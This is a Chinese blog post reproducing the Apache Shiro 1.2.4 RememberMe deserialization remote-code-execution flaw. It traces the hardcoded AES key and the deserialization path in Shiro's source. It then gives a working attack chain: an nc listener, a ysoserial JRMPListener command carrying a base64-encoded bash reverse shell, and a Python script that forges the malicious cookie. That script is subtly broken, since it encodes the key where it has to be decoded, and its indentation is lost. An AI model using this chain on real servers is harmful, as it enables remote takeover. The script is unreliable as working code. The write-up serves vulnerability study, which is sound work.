Shiro RememberMe 1.2.4远程代码执行漏洞复现

admin 2024年8月18日01:27:27评论29 views字数 2794阅读9分18秒阅读模式

前言

最近博客更新的没有那么勤快了,比赛和杂七杂八的事情太多了,还是要静下心来好好学习啊
菜鸡其他语言的漏洞学的并不好,这次拿到了ogeek线下的一个题,来好好分析一波,也学一波javaOrz

环境配置

师傅们已经在dockerhub上搭好了环境了,pull下来就能用了

1
https://github.com/Medicean/VulApps/tree/master/s/shiro/1

漏洞分析

生成cookie

shiro在登录的时候会提供给一个remember me的功能,用cookie去记录登录的用户,来保证下次登录不用写密码就能直接登录。具体过程是这样的,shiro对信息进行加密的AES秘钥是硬编码在文件中的,因此秘钥我们是可以知道的,而iv则为base64解码cookie后的前16个字节,因此我们可以控制信息进而构造出任意的序列化代码
处理rememberme的cookie类在org.apache.shiro.web.mgt.CookieRememberMeManager,它的父类为org.apache.shiro.web.mgt.AbstractRememberMeManager,定义的默认的秘钥就是在这里面了
Shiro RememberMe 1.2.4远程代码执行漏洞复现
在成功登录且选择了rememberme的选项的时候,就会进入onSuccessfulLogin里
Shiro RememberMe 1.2.4远程代码执行漏洞复现
接着就是一直跟过去

1
2
3
onSuccessfulLogin::rememberIdentity
rememberIdentity::rememberIdentity
rememberIdentity::convertPrincipalsToBytes

Shiro RememberMe 1.2.4远程代码执行漏洞复现
可以看到,在登录的时候,后台会对信息进行序列化然后再加密,加密的过程如下
Shiro RememberMe 1.2.4远程代码执行漏洞复现
Shiro RememberMe 1.2.4远程代码执行漏洞复现
在加密的时候,序列化用的类是PrincipalCollection,encrypt的方法是AES,模式为CBC,填充模式为PKCS5
继续跟过去AesCipherService的父类DefaultBlockCipherService可以看到加密函数更加具体的定义
Shiro RememberMe 1.2.4远程代码执行漏洞复现
而前面encrypt函数里面的ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());调用的encrypt是在org.apache.shiro.crypto.JcaCipherService这个类里面的,查看这个类的encrypt函数
Shiro RememberMe 1.2.4远程代码执行漏洞复现
这个函数将iv放在crypt函数加密的数据前返回,加密后在org.apache.shiro.web.mgt.CookieRememberMeManager这个类内的rememberSerializedIdentity方法进行base64编码,然后返回来

解析cookie

org.apache.shiro.web.mgt.CookieRememberMeManager里会将传过来的base64字符串进行解码后赋值给byte,所以序列化后的字符就是存在这里的

1
byte[] decoded = Base64.decode(base64);

然后再调用org.apache.shiro.web.mgt.AbstractRememberMeManager里的getRememberedPrincipals方法去获取cookie中的身份信息
Shiro RememberMe 1.2.4远程代码执行漏洞复现
跟过去convertBytesToPrincipals可以看到后台会对信息进行解码,然后再进行反序列化
Shiro RememberMe 1.2.4远程代码执行漏洞复现
而decrypt方法中的秘钥就是前面加密过程的秘钥,通过getDecryptionCipherKey()获得它
Shiro RememberMe 1.2.4远程代码执行漏洞复现
看回去构造函数对于加解密的定义,可以看到,加解密所用的秘钥都是硬编码的秘钥
Shiro RememberMe 1.2.4远程代码执行漏洞复现
Shiro RememberMe 1.2.4远程代码执行漏洞复现
所以Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")这个秘钥会用于org.apache.shiro.crypto.JcaCipherService这个类里的decrypt方法中进行解码,然后再从cookie中取出iv和加密后的序列化数据在decrypt方法中调用crypt方法结合密文、key、iv解密
Shiro RememberMe 1.2.4远程代码执行漏洞复现
Shiro RememberMe 1.2.4远程代码执行漏洞复现
在前面的图我们可以看见,解密成功后,返回的数据就会进入到deserialize函数去进行反序列化,序列化的类是DefaultSerializer,this.serializer = new DefaultSerializer<PrincipalCollection>();,先跟过去看一下
Shiro RememberMe 1.2.4远程代码执行漏洞复现
可以看到有readobject,至此,我们就能成功触发反序列化了

复现过程

先用nc一下

1
nc -vlp 2345

然后起一个JRMP端口

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNfaXAvcG9ydCAwPiYxIA==}|{base64,-d}|{bash,-i}'

然后再执行以下文件生成rememberme的cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s : s + ((BS - len(s) % BS) * chr(BS - len(s) %BS)).encode()
key = base64.b64encode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == "__main__":
payload = encode_rememberme("vps_ip:port")
print "rememberMe={0}".format(payload.decode())

将运行出来的值用burp发送过去,就可以出发反序列化漏洞,监听2345端口,因此成功反弹shell

FROM:Xi4or0uji

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月18日01:27:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Shiro RememberMe 1.2.4远程代码执行漏洞复现https://cn-sec.com/archives/3074500.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息